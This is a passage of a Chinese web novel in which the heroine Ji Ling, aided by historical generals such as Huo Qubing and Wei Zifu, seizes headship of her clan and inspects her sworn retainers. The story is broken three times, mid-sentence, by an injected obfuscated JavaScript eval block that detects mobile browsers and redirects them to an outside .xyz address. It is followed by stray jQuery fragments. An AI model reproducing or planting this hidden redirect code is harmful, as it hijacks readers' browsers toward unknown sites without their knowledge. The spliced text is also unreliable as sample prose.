“这儿比我们想象中的要安全多了,一个月前匈奴来人劫掠,好在我们有霍将军,硬生生把他们全打回去了!直到现在,匈奴人都没再来骚扰过了。”男人说着还有些激动,看样子很是崇拜他口中的那个“霍将军”。
“霍将军?”姬昤心想,应当是霍去病了。
这时,一阵马蹄声越来越近。
“去病!”卫子夫惊喜地喊道。
“姑母!舅父!小弟!”霍去病骑着马而来,笑着一连喊了卫子夫、卫青和霍光三人。
姬昤转过身看去,只见一丰神俊朗的高大男子骑马而来,然后拉住缰绳停在了她边上。
霍去病下了马,仔细瞧了瞧姬昤的样貌,然后恭敬道:“去病见过三娘子。”
姬昤忍不住拉住了霍去病的双手,眼中是满满的满意,都快溢出来了。
这就是霍去病啊,这么高大威猛,还这么能打仗,人才,大人才啊。
霍去病被女子这么亲密地拉着顿时红了脸,更何况这人还是他的主公,他不禁看向了姑母卫子夫,眼神询问他该怎么办。
卫子夫笑了笑,转过脑袋去,装作没看见。
霍去病又看向卫青和霍光。
卫青抬头看天:“这里的天倒是很不错,很蓝,很蓝,很蓝。”
霍光倒是想上前帮助霍去病,可却被谢渊拉走了,说是要好好指导他的策论。
好在,有人站了出来。
姬瑾盯着姬昤拉着霍去病的手好一会儿,然后上前拉开了两人的手,然后微笑看着姬昤。
“昤昤和霍将军如此熟稔么?”姬瑾问。
他只知道昤昤和霍去病相识,所以之前拖他给霍去病办了户籍,可也没说他们已经熟到可以牵手的地步了呀!
姬昤也意识到自己的失礼,不好意思地笑了笑:“抱歉,一时有些激动,终于见到你了。”
霍去病也有些不好意思地笑了:“无碍,三娘子,我有事要与您商议,可否移步?”
“可。”姬昤又看了眼门口,大家差不多都进去了。
接着,姬昤看向姬瑾:“大兄,我从合肥带来了一些人,他们本是那儿的百姓,最终因活不下去落草为寇,如今他们也想重回百姓的普通日子,你给他们上户籍吧。”
吴常走了过来:“见过县令大人。”
“你们有多少人?”姬瑾问。
“一百七十四人。”吴常回答。
姬瑾有些诧异:“这么多人?一路跟着来了?”
这是有多大的决心啊,能背井离乡走这么远路一直到这儿?
姬瑾不禁叹了口气。
世道艰难啊。
“多亏了三娘子,否则仅靠我们自己根本无法到达这里。”吴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389217|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
常说着感激地看了眼姬昤。
“行,你们随我来,刚好我们这里有很多地根本无人种,你们来了也能让这里有些生气。粟邑县历经这么多年战火侵扰人已经越来越少了。”姬瑾看向姬昤,笑了,“多亏了昤昤,先是两百一十三人,后又有这一百七十四人,还有那五百人,再加上姬家一路过来千余人,粟邑县顿时就热闹了。”
姬昤一听,想起来了,她的五百死士!
“大兄,那五百人都在哪儿?”姬昤连忙问。
“昤昤放心,都在姬府后面的那个宅子里住着。说起来,那宅子还是他们自己建起来的,费了他们很多力气。”姬瑾说道。
姬昤松了口气,人没丢就好,那她就放心了。
“对了昤昤,他们说他们都是你收养的孤儿,所以我将他们的户籍也全都落在了这儿。”姬瑾又道。
姬昤不禁瞪大了眼,抿住了嘴唇。
可是……
那都是她的死士啊!什么叫死士?躲在暗地里不知姓甚名谁的才叫死士的嘛!
罢了罢了,反正现在也没他们出手的机会,就先一边训练一边开荒吧,也能将粟邑县变得越来越好。
“对,是这样的。大兄,那吴常他们就先交给你了,我和霍去病还有些事要聊。”姬昤说罢拉着霍去病的手腕走进姬府内。
英兰苑还叫英兰苑,一模一样的位置,就是地方小了许多,本来可以住四五十人的院子如今只能住二十几人,缩了一半的大小。
书房。
姬昤和妇好、卫子夫等一共八人都在其内,月栀则一脸认真地守在屋外,而霍光早就被谢渊拉走了。
“三娘子,就是这样,按照惯例,等我再升一品就得被调回建康了,现下我该如何做?”霍去病问道。
“你如今已是五品将军,再升一品可就是四品,官位不算小了,皇帝虽昏庸,但你的军功挣得太快了,他也正缺武将,定会将你调回去,说不定还能成为皇帝的心腹。”卫子夫思索着,“正好,我们也缺一个远在建康的内应,你若回去了我们也好随时做好准备应对所有变化。”
“姑母,不是我挣得快,我已经很慢很慢了,每次我都留了大半的匈奴人让他们逃回去呢!”霍去病委屈道。
在场大多都是武将,听了霍去病的话都不禁有些手痒心痒。
武将么,还是要上战场才能发挥最大的作用,否则一直困在宅院里怎么凸显他们的才能?怎么让主公放心他们、认可他们?
只不过他们不知道的是,姬昤知道他们的大名并且非常认可他们。
“就怕狗皇帝卸磨杀驴,将霍去病召回建康之后卸了他的兵权又夺了他的命。”杨妙真担忧道。
“怕什么?大不了到时候先拐了狗皇帝的兵马再跑回来。”霍去病道。
“你确定你能做到?”妇好反问。
霍去病眯了眯眼,握紧了拳头:“姐姐你是在质疑我的能力吗?”
妇好笑了笑:“那没有,我只是担心你是否能带领狗皇帝的兵马一路畅通无阻且不被狗皇帝发现你是主公的人然后安全到达粟邑。”
霍去病盯着妇好好一会儿:“你果然是在质疑我。”
妇好:微笑。
眼看着两人之间氛围就要紧张火热化了,姬昤赶紧开口说道:“那个,我觉得哈,去病,你可以去建康,这确实对我们来说会更好,但不是现在,也不是等陛下晋封你官位之后,而是等匈奴人给一个机会。”
众人看向姬昤:“什么机会?”
姬昤道:“虽然说起来有些不太好,但是最好匈奴人能来一次大进攻,然后由你击退他们,并且最好能让匈奴人和大安签订议和书,承诺至少两年内不再进攻大安。”
这样她就有更多时间发展了,不然匈奴第一个打她这儿,她还怎么抢……不,为天下百姓夺得那位置?
“主公是想……为粟邑争取更久的安宁发展时间?”卫子夫想了想,问道。
“没错。”姬昤满眼笑意地看着卫子夫。
不愧是她的心腹,太懂她了。
其他几人了然,霍去病也露出了一个笑容。
“主公,这件事就交给我吧。”他说。
“不过你先别急,等年后再说,我还想让粟邑百姓们过个安稳的好年。”姬昤又道。
“主公放心,属下心里有数。”霍去病笑容肆意,充满了自信。
28.家主
姬家众人到达粟邑县的翌日清晨在新的议事厅聚集在了一起。
大房的几个孙辈还有其他孩子们几乎都不在,因为舟车劳顿好不容易到了地方他们还不适应,现在还在努力适应,有几个直接病了,现在还躺在床上等着喝药。
最年长的族老拄着拐杖走到了最上面旁边些的位置坐下,然后开口问道:“听说是昤昤有事要说?不知所谓何事,到底是多大的事,非得在这么清晨时刻将大家聚集在一起。”听着有些不满,还有些没睡醒的意思。
“有何事快说吧,这里和建康大有不同,我还得好好适应一番,谁知道还要在这里住多久。”又一位族老说道。
姬昤听着他们话中的意思便知他们其实很不情愿来这里。
不过这不重要。
“各位,其实今日确实有一件非常重要的事要宣布。”姬昤说罢看向自己阿耶,“阿耶你说吧。”
姬父假咳了几声清了清嗓子,他坐在最上方中央的椅子上,看了看左右两旁的族老们,又看了看底下的姬家众人的脸,一时间还有些局促。
他当家主这么多年还从来没有过这样的情绪,也是难得。
姬父站了起来,在姬昤充满“鼓励”的眼神下终于开口了——
“我儿姬昤聪慧果敢,心善有度,将会是姬家……下一任家主。”
姬昤微微一笑,走向厅内中央,那表情好似在说:“没错,就是我。”
厅内一阵沉默之后爆发了。
首先是族老们——
一个个义愤填膺,好似姬父说了什么大逆不道泯灭人性的混账话一般,虽然对他们来说确实如此。
“你是疯了不成?我们已经容许你分家、散了三成家财带着姬家来到这偏远之地,你竟还想将整个姬家交给姬昤一介娘子?”
“姬家从未出过女家主,从前没有,现在没有,以后更不会有!”
“疯了疯了真是疯了!我们知晓你这一主脉人丁稀少,但也没有催你啊?姬瑾姬瑜哪个不行?你竟然姬昤来做家主?再不济还有大房的姬呈,实在不行,等他和已逝三郎的儿子长大也行嘛!为何是姬昤?她是女子啊!”
……
接着还有大房的人——
姬大夫人有些错愕,有些惊讶,还有些许疑惑,最后进入了思考之中。
“女子当家主……真的可以么?这岂不是,岂不是,岂不是……有些奇怪?”她斟酌了半晌,一时间竟然不知道该怎么形容这件事。
姬呈之妻崔姝,此时扶着姬大夫人坐下,面色也有些古怪,嘟囔着:“家主?我以前也想当来着,可惜后来嫁人了。”
“什么?”姬大夫人没听清,问了嘴。
崔姝摇了摇头:“没什么,我没说话。”
姬呈还有些沉浸在刚才的话中出不来,他一直在想,姬昤是什么时候有的这个想法?还是说这一切都是三叔的意思,不是姬昤的意思?
姬呈想着便走到了姬昤跟前,低声询问道:“绥英,你……这都是你的意思吗?还是……”
姬昤点头:“是我的意思,怎么了?我不可以吗?”
“是,不是,是,不是。我的意思是……这很奇怪!”姬呈点头摇头半天,却也不知道该怎么形容自己的心情。
姬昤理解他的想法,并且抬头拍了拍他的肩膀:“我知道你会觉得奇怪,没事的,我理解,这种事在这样的时代确实比较难以理解,我都明白,没事的,你会习惯的。”
姬呈一脸疑问,习惯?习惯什么?
最后是姬瑾——
他作为长兄,竟从来不知道这件事。
昤昤何时有的这种想法?家主?女子做家主……
未免有些太奇怪了。
可那是昤昤……
姬瑾很纠结。
姬昤扫过众人的脸,大家神色各异,姬昤知道他们在想什么,不过是觉得此事匪夷所思,她不配罢了。
不过那又如何?
“我知道,你们都有疑惑,要么觉得我疯了,要么觉得我不配。”姬昤扫过众人脸色,继续说道,“不过,你们觉得还有谁能胜任家主这个位置吗?我一母同胞的两位兄长?还是大房的兄长?论才能,我不输他们,我自小也是饱读诗书的;论能力,我也不差,只不过我是女子,你们便看轻我;论适合,其一,我是姬家主脉,其二,我有郡主名号,名义上会为了大安嫁去羌胡,名声好,其三……”
姬昤没有再继续说,而是拍了拍手。
众人看向门口,只见一群人冲了进来,手持武器,气势汹汹。
正是妇好、卫青等人,还有一个月栀,拿着一把菜刀就冲进来了,挡在了姬昤跟前。
“谁敢拦我们三娘子?!”月栀话比人凶,稚嫩可爱的脸毫无威慑力。
姬昤微微瞪大了眼,好样的月栀,但是这件事吧……你先等等。
姬昤将月栀拉到了身边。
“姬昤,你大逆不道!你要做什么?!”族老拄着拐就站了起来,指着姬昤大骂道。
其余的指责纷纷袭向姬昤,像是洪水一般要淹没她。
姬父姬母也有些震惊,他们是已经商量好在今日宣布昤昤下一任姬家家主的身份,可是……
昤昤怎么没说还要动武啊?
“昤昤你冷静啊。”姬瑾小心地开口劝道。
“大兄放心,我很冷静,其实我没想做什么的。”姬昤微笑,然后收起笑容,声音严肃,“各位,我姬昤要当姬家的家主,这不是与你们商量,是通、知!当然,你们也可以拒绝,但后果么……我不觉得你们会想看到的,尤其是你们,族老们。”她看向一脸愤怒的族老们。
“姬错,你当真要看着她如此大逆不道么?”最年长的族老对姬父说完后又看向姬昤,“你身边这些人是不错,但你是不是忘了,姬家还有一千死士,是你能敌的吗?姬昤,莫要逼我们动手,莫要伤了你自己。”
“您老也别忘了,姬家死士只听命于家主,我阿耶可不会让他们伤我,而且……他们马上就要听命于我了。”姬昤微笑,接着朝姬父的方向伸出了手。
姬父犹豫了会儿,然后掏出了象征家主身份的印章和一把钥匙放在了姬昤的手上。
“从今日起,我姬昤便是姬家家主。”姬昤收好了印章和钥匙。
族老震惊地看着这一幕,指着姬昤的手还在颤抖:“糊涂!糊涂啊!姬家完了!!”说着竟然还哭了出来,一把年纪了还哭得跟个泪人似的。
见族老们一个个都这么伤心愤怒,姬父走到姬昤身边,提醒道:“昤昤啊,虽然现在你是姬家家主了,但以往继承家主位都需要办一个承接仪式。”
族老们瞬间精神了。
“对!还没办过承接仪式,你便不是姬家家主!”
姬昤轻笑了声:“是么?特殊时期特殊对待,现在我明面上还是安定郡主,还是要嫁去羌胡的,承接仪式就不必了,大家知道我是家主就行。”
“没办过承接仪式你算什么家主?我们不承认!不止我们,大房亦是如此!对吧?”族老说着看向姬大夫人。
姬大夫人撩了下耳边的碎发:“我们大房都听……家主的。”说罢,她对姬昤微笑了一下,也算是变相承认了姬昤的家主身份。
族老震惊,又看向旁边的姬呈:“你也是这么想的?”
姬呈看看阿母和妻子,又看看姬昤,他想起来之前阿母同他说的话,于是叹了口气,点头。
族老们一口气没吸上来,直接昏了过去。
又是一阵混乱。
姬昤身边,几人纷纷询问需不需要动手。
“不必了,反正东西到手,我也得到了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398988|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家主身份,不需要了。”姬昤笑道。
因为她已经在脑海里听到任务成功的声音了——
“宿主支线任务完成,成为姬家家主,任务奖励五千斤马铃薯,是否现在领取?”
姬昤一样选择将奖励暂存在系统内。
“都走吧,事情结束了。”姬昤转身就走,其他人紧随其后。
姬瑾赶紧跟上了。
“昤昤,昤昤。”姬瑾的声音穿过一人又一人到了姬昤耳边。
姬昤止步,转回身看向姬瑾:“大兄,怎么了?”
姬瑾犹豫了下,然后开口问道:“昤昤,你……你何时有的这个想法?家主不是好当的,更何况,从来没有女子当姬家家主的,族老们今日是昏了过去,可日后定会一直找你的麻烦的。昤昤,虽说我也不愿你当什么安定郡主嫁去羌胡,可,可若是你当了家主,你哪怕不嫁去羌胡,你也是要成婚的,那时你怎么办?”
“大兄你放心吧,况且……我不会嫁人的。”姬昤微笑。
姬瑾张了张嘴,还想说些什么,可一想到自己,不也是拖了这么久不愿娶妻么?但是,昤昤怎么会有这样的想法?
“大兄,你什么都不必说了,我心意已决。对了大兄,那些来这已经上了户籍的人们可有住的地方?你可是粟邑县的县令,百姓有问题,你得解决啊!”姬昤拍了拍姬瑾的肩膀,眼神鼓励着他。
姬瑾一听立刻转移了心思:“你说得对,我是这里的县令,百姓有问题我不能坐视不理。不过粟邑钱财不够,暂时造不了那么多新屋子,只能翻新从前的房子了。之前这里亦死亦走了许多人,留了很多房屋无人居住,都已经破败不堪了,可现在粟邑府衙人力不够,估摸得等到年后他们才能全部有房子住。”
姬昤失笑:“大兄,你傻啊?人力?现在不是有很多现成的吗?来了这么多人还愁无人可用?大兄,他们其中许多人本就是无家可归之人,你可以让他们去翻新自己的新房子啊!当然,你也要给予一定的钱财粮食,以工代赈。大兄,这个就不用我教你了吧?你比我懂。”
姬瑾点头,赞许地看着姬昤:“昤昤,是阿兄狭隘了,你也确实比阿兄想象的要……”
“更聪明?”姬昤笑眯眯的。
姬瑾又点了下头:“你确实能当家主。”
反正他不喜欢当家主,比起当家主,他还是喜欢当县令。
姬昤拿起一只手放在耳边:“喊声‘家主’听听?”
姬瑾无奈笑了:“家主好,见过家主。”
姬昤笑容十分满意:“不错不错,以后记得要经常喊哦。”
姬瑾失笑,点了好几下脑袋表示他记住了。
“那接下来你准备要做什么呢?当家主可不是件容易事,你得做出实绩来。”姬瑾。
姬昤环手,笑眯了眼:“当然,我准备……大、展、身、手!”
夜里,众人齐聚英兰苑——姬昤和月栀,妇好等四人,卫子夫等四人,还有谢渊和他苦命的小厮。
院子中,大家纷纷恭贺姬昤接任家主之位。
“恭喜姬家主了,终于得偿所愿。我想,你不只是想当一个无聊的家主吧?”谢渊抬手举起酒杯,意味深长地看着姬昤。
姬昤回以同样的微笑和眼神,举杯碰了一下谢渊的杯子。
“人生有风险,不知谢先生一把年纪了可否还愿意陪我这个小孩儿冒一次险?”姬昤反问。
谢渊轻笑了几声:“你也说我一把年纪了,那我还有什么好怕的?奉陪到底。”
“好!”姬昤大笑几声,颇有豪迈之意。
众人推杯换盏,虽是寒冬却充满了热气,后来不知道说到了什么一个个大笑出声。与此同时,姬瑾还在县令府内忙碌到飞起,他从姬昤的话中得到启示,正在快速写下自己对粟邑县的未来发展规划。
29.享受
翌日一大早,姬昤醒了。
在雍州粟邑县的第一晚,她其实并没有睡好。昨夜与大家畅饮谈天了许久,也不知是何时睡着的,夜里她半梦半醒间还听见他们说话的声音,在屋外,大家陆陆续续回了自己院子。
“月栀……月栀……”姬昤坐起身,揉着酸胀的眼眶喊着月栀的名字。
只见从她的床边地上爬起来一个人,正是月栀。
月栀头发乱糟糟的像是鸡窝,她眼睛都困得睁不开了,整个人看起来还迷迷糊糊的。
“娘子怎么了?”月栀说话时每个字都黏糊在了一起,姬昤还费了点心思去分析她说的是什么。
“你怎么睡在地上?”姬昤问
月栀抓了抓脑袋想了一会儿:“昨夜吃醉了,还没等回到我自个儿屋子我就倒地上睡着了。阿,阿,阿,阿嚏!”月栀说完猛地打了个喷嚏,接着揉了揉鼻子。
姬昤掀开被子下了床,立马把月栀扶到床上去坐着:“这雪天夜寒的你还在地上睡了一夜,身体不要了?你在我这儿睡吧,我待会儿还有事要出去不在家,我找大夫来给你看看再开几服药。”
“娘子您要去哪儿啊?怎么能不带我?我没事,我要跟着去,万一娘子您遇到危险了,我,我,我虽然没那几位姐姐厉害,但关键时候还是能替您挡一刀的!”月栀挣开姬昤按着她让她躺下的手,两只眼睛瞪得大大的,看着清醒了许多。
姬昤敲了下月栀的脑袋,笑道:“胡说八道什么?我可用不着你替我挡刀。”
月栀反驳道:“要的要的!这是我阿耶阿娘还有阿兄教我的!当年阿耶阿娘替家主主母而死,阿兄替二郎君而死,那我就该替娘子去死!若不是我们家少了个儿子,应该还有一个替大郎君去死才对!”
月栀神色认真,满嘴“死死死”的,可不见她有一点儿害怕,反而还有点向往。或许对她来说,替主子去死是莫大的荣耀。
姬昤不禁双眼微湿,她忍住了拼命想往外涌的泪水,笑道:“傻月栀,替我去死怎么会是你的归宿呢?你的归宿应当是成为最好的你才是。还有,日后莫要再说这样的话了,否则我……”姬昤思索了一番。
“否则我就把你把我阿兄每年送你的生辰礼全都收起来藏着的事告诉我阿兄!”
月栀小脸一红,连忙抓紧了姬昤的手,哭丧着脸:“别别别,娘子不要啊,千万别跟二郎君说,他定会笑话我的!”
“要想让我不说自然可以,日后还说不说方才那番话了?”姬昤眯着眼盯着月栀。
月栀的脑袋摇得跟拨浪鼓似的:“不说了不说了,打死我也不说了。”
姬昤反握住月栀的手,接着笑眯眯地说道:“那就好,你不再说那番话我自然也不会告诉我阿兄。月栀,你躺下睡吧,我差人把大夫叫来给你看病抓药,我就先走了。”
月栀怕姬昤真要全告诉二郎君,立马乖乖躺下了,还自己把被子盖好了,一副乖宝宝的模样。
姬昤捏了捏月栀的脸:“很好,就是这样,我走了,好好休息。”
“娘子慢走。”月栀两只手抓着被子边,目送着姬昤穿好衣服离开房间。
姬昤快速洗漱完,风风火火地找上了妇好、秦良玉和卫青就要出门。
路过大房的院落,姬呈瞧见姬昤还打了个招呼。
“绥英……家主早上好。”
姬昤本来也想打个招呼就直接过去了,可听到了“家主”二字,她停下了脚步退了回去,然后转身向姬呈,微笑说道:“早上好呀阿兄,你方才叫我什么?”姬昤眨了眨眼。
“家……主?”姬呈不理解但还是喊了一遍。
姬昤一脸满足:“谢谢你阿兄。我还有事,就不与你闲聊了。”说罢又带着三人风风火火地走了。
姬呈看着四人的背影很是疑惑,方才绥英那一下是为何?没听清吗?不过……他们这是要去作甚?怎么这么着急?
“郎君?怎的清早站在这儿?”崔姝走上前,将厚实的袄子披在了姬呈身上。
姬呈握住崔姝的手,说道:“许是到了新的地方不习惯,睡不着,我想着起来出去逛逛。方才碰见绥……家主急匆匆地出去,不知是去做什么。”
崔姝笑了笑:“家主新官上任三把火,当然是有要事去做,你就莫要担心了。”
“可家主才十五岁,再过三月也才十六岁,她还只是个孩子,真能当好家主吗?”阿母说的一切听她的真的对吗?
姬呈想不明白。
“想当年姬家祖先发家时也不过十七岁,当时助他发家的传奇夫人也才十六岁,你莫要担心了。”崔姝说道。
“可是,我还是……”姬呈。
“好了。”崔姝反手握住姬呈的双手,“莫要说了,小五还病着缠着要见你,去瞧瞧孩子吧。”
崔姝所说的是他们的第三个孩子——他们旁系孙辈排行第五的小郎君,如今才四岁,来的路上染了风寒,现下还躺在床上。
“也罢。”姬呈和崔姝转过身走了回去。
姬昤等人又风风火火地路过了姬府旁边的县令府——姬昤的五百死士住在姬府和县令府后面的府中,往县令府这边走有条路可以直通那里,路要更近些。
“唉,昤昤……”刚从县令府出来的姬瑾还想跟姬昤打个招呼,就见他们朝着后面的府邸去了。
姬瑾打了个哈欠,想想还是先去田地里瞧瞧吧。
他一夜未睡,都在写粟邑县的发展,天刚蒙蒙亮不久又想起还要去田里瞧瞧麦子的长势如何了,这可是百姓们来年的粮食。
一刻不敢多歇。
姬昤等人来到了五百死士居住的府邸,这座府邸与县令府差不多大,只有姬府一半左右大小,甚至可能还不到。
姬昤严重怀疑他们都是怎么住的,这可是五百人!这么小住得下吗?
“久久未见,他们看来学会享受了。”妇好看着府门,不禁说道,听着语气有些冷。
姬昤疑惑:“何出此言?”
“这么大的府邸,他们不过才五百人,不是为享受又是为何?家主,之前您并无多少机会去别院,我和良玉、仲卿二人却常在那儿,那时我们可都是十人一屋的,那别院可比这儿要小得多,那时也不觉得拥挤。”妇好解释道,她口中的仲卿也就是卫青,这是他的字。
“嗐,原是如此。从前条件有限,我也就那么一处合适且空着的院子,所以就让大家挤挤一起睡了,如今有条件了住得舒服些又何妨?”姬昤说道。
“家主,生于忧患死于安乐,若太过享受松懈他们就无法成为最锋利的刀了。”秦良玉说道。
姬昤张了张嘴,目光扫过妇好、秦良玉和卫青三人,他们都点了下头。
“你们说的是,是我太想当然了。进去吧,看看他们近来松懈了没有。”姬昤说完抬脚走上台阶,然后拉着门环敲响了大门。
不一会儿就有人来了,不过没先开门,先在里头问了嘴是谁。
“姬昤。”姬昤报上了自己的名字。
下一刻,大门打开,露出里面的人脸,是林大柱。
姬昤记得他,之前妇好她们同她说过,这个林大柱便是五百人当中表现最好的那一批人。
“主子,您怎么这么早就来了?”林大柱一边问着,等几人进了府中才又关上门,将门闩拉上。
“在这儿就莫叫我主子了,人多嘴杂,唤我‘家主’即可。对了,你怎的起这么早?天也才刚亮一会儿。”姬昤问。
林大柱恭敬回答:“我们往日便一直是天亮则起开始训练。”
姬昤了然地点了点头,看来她对自己的死士们了解还是太少了。
“带我逛逛你们造的新屋子吧。”姬昤又道。
大兄说这整座府邸都是他们自己动手造起来的,也是不容易,这么大的房子呢。
“家主,大人,请随我来。”林大柱说完走在前面开始带路,一边介绍府中一切陈设。
府邸内部其实很简单,实用为主,像是装饰的花草树木、假山怪石,那是几乎没有。府中的房屋布局陈设他们都是按照在建康别院时的那样造的,大体上没有出入,姬昤问起他为何大家造了更大的屋子时,他回答是因为日后若是还有更多的人近来也好住得下,他们在这边的这段时间一如在建康时一样未曾改变过。
姬昤用胳膊肘顶了下妇好,压着嗓子说道:“看吧,别小瞧了你们带出来的兵。”
妇好眼里带着满意,也低声说道:“是属下之过错,倒没想到他们竟是这么想的。”
“这都是你们自己带出来的,要相信他们。”姬昤又道。
“家主说的是。”妇好应声。
几人随着林大柱走着,渐渐的,姬昤听到了一些声音,有喘气,有哭泣,哐哧哐哧的。
“都在训练,为了不发出太大声音吸引别人注意,大家都努力克制住自己不发出声音。”林大柱解释道。
“怎么还有哭声?”姬昤说着走近了些,走到一个空旷的院落。
院子很
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416168|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大,上百人都在里面训练着,姬昤寻找着,找到了哭声来源——
是何小花,之前所说表现优异的人之一,也是其中年龄最小的,不过才十岁。
“小花,你怎么哭了?发生什么事了?”姬昤走了过去,在她跟前蹲下,柔声问道。
何小花抬起头,泪眼哗哗的,见是姬昤,赶忙擦干了泪水站了起来,姬昤也跟着站了起来。
“主子,我没事,就是刚才摔得有点疼,现在已经好了。”何小花回答。
“真的吗?”姬昤很怀疑,他们可不是摔疼了会哭的,这个理由未免太蹩脚了。
“小花,跟我说实话。”姬昤正了脸色,严肃道。
何小花不禁看了眼妇好、秦良玉、卫青还有林大柱,林大柱点了下头。
“其实……我找到我的家人了,可他们都已经死了。”何小花面色哀愁。
“唉……”姬昤拍了拍何小花的肩膀,安慰道,“小花,家人的逝去在所难免,只是有些去得早有些去得晚,没事的。而且你现在也有这么多家人了,想开点!实在不行你想想我,我们姬家名门望族,最后还不是躲到了这个偏远之地来吗?而且再过不久我还得嫁去羌胡做那劳什子王子妃,到时候还不知道怎么死呢!所以说,想开点,别不开心了。”
何小花张了张嘴,有些震惊。
主子她……
可真会安慰人。
“主子,您真要嫁去羌胡吗?不过没关系,到时候我们一起去,那个羌胡王子敢动您一下我们就剁了他的手!”何小花说道。
“对。”林大柱附和道。
姬昤笑了:“不会的。不过咱们不聊这个,你去训练吧,忙起来就不会想东想西了。”
“嗯,属下去训练了。”何小花点头,然后跑向远处的陶婉。
接着,林大柱拍了拍手,喊道:“所有人停下!主子和大人们来了。”
所有人停了下来,明明是寒冬,竟一个个头上出了薄汗。
“见过主子,见过大人。”众人喊道。
“喊我家主即可,我现在是姬家的家主。”姬昤眼睛都要笑眯起来了。
“家主。”众人又喊。
姬昤非常满意,觉得空气都变得更加新鲜了。
“你们在这儿过得如何?可还适应?”姬昤关心地问道。
“家主,我们一切都好,比起从前没遇见家主的日子已经不知道好了多少倍了。”林大柱回答道。
他是这其中年岁最大的,再过几日便要及冠,加之他又是其中最优异的几人之一,因此平日里大家都听他的。
“过得好就行。听说这房子都是你们建起来的,费了你们很多心思吧?”姬昤又问。
“是费了些心思,好在我们其中有人会造房子,你教我我教你,一点点来也就造起来了。还多亏了县令大人,派了很多人来帮忙。”林大柱。
“我大兄知道你们是我的人自然不会吝啬帮忙。嗯……既然一切都好我也就放心了,来到这儿你们就不会只是训练了,这里眼睛少了你们也可以多露露面,而且这边条件略苦,平日里也需要你们去种种田什么的。你们放心,我自然不会亏待了你们,缺了什么吃的用的尽管与我说。”姬昤。
“家主放心,在这之前我们都有了户籍也分到了田地,现在我们都是早上训练,白日里去地里种地,下午后又回来训练。我都安排好了,大家也很习惯这里的生活,也很喜欢这里。”林大柱。
姬昤又想了想,说道:“这里是边疆,匈奴人和鲜卑人肆掠,你们可能要比你们预计的更早上战场了。”
众人面面相觑,最终还是由林大柱来回答:“家主放心,自我们吃上家主给的第一顿饭的那一刻起我们的命便都是家主的了,家主让我们去死我们也会遵循。”
姬昤连忙摆手:“什么去死不去死的,我怎会让你们去死?只是你们的任务有些艰难,都是拿命搏的,所以你们若是有什么心愿,只要我能办到,我都答应你们做到。”
“多谢家主!”众人齐声喊道。
“既如此,我暂且无事要说了,你们训练吧。”姬昤说着转头,“妇好,卫青,你们留下训练他们,秦良玉,你同我走,我要逛逛粟邑县。”
“喏。”三人应道。
至于姬昤为何挑的是秦良玉,其一,她是女子要更为方便,其二,她身长八尺,与卫青不相上下,人高马大的让姬昤非常有安全感。
姬昤不禁再一次感慨她何时能再长高些。
30.逛粟邑
粟邑县不大,换算现代用语也就三四百平方公里大,往少了来说只能住不到万人,往多了说可住百万人,但这里地形多以山地和丘陵为主,加上年年天灾人祸,这里人烟越发稀少,在姬家人和因姬昤而来的这些人来之前这里也不过只有三千余人,当然并没有算这边的兵力,若全算上也有万人了。
姬昤和秦良玉二人骑着马一路逛着粟邑县,一路上接收到了不少目光。
对于这里的百姓们来说她们太过陌生了。
“彭老二家的,你瞧那小娘子眼熟不?”
一个正在干农活的夫人两手架在锄头棍上,用屁股碰了下旁边的另一个妇人。
另一个妇人直起身子望去,盯着姬昤看了会儿,然后白了眼刚才说话那妇人:“你脑袋被驴踢了吧?昨个儿才在城门口见过,今个儿就不记得是谁了?那不是县令大人的妹子么?是那啥,额,郡主,什么郡主来着!”
“奥!对对对,安定郡主!听说皇上要把她嫁给羌胡王子呢!要我说那真是个狗屁皇帝,景朝时那狗皇帝再昏庸也没有和亲过,怎么现在这个还要搞和亲那套?听说了吗?狗皇帝那个老不死的还把羌胡才十七岁的郡主纳入后宫做妃子了呢!他都能做人家阿耶了!”妇人毫不客气地吐槽着,一口一个狗皇帝丝毫没在怕的。
“你这嘴哟,说话客气些,这也是咱们聊,若让其他地方来的人听见你狗皇帝狗皇帝的喊还不把你拖去砍死?”
“怕什么?狗皇帝管不了我们吃喝也不顾咱们死活我还不能喊他狗皇帝了?”
“也是,要不是县令大人来了我们估计都要饿死了,狗皇帝也算是做了好事,竟把这么好的县令大人送了过来。”
“不过我咋听说县令大人是被贬过来的?”
“是吗?唉,我听说县令大人还有个弟弟也被贬了,在那个啥,临泾县做县令呢!临泾县也不行,跟咱们这里半斤八两。”
“啧,狗皇帝!”
“哟,你还说我呢?你不也狗皇帝狗皇帝地喊?”
“他确实该骂。”
……
后来越来越多的人加入开始谈天,你一言我一语的。
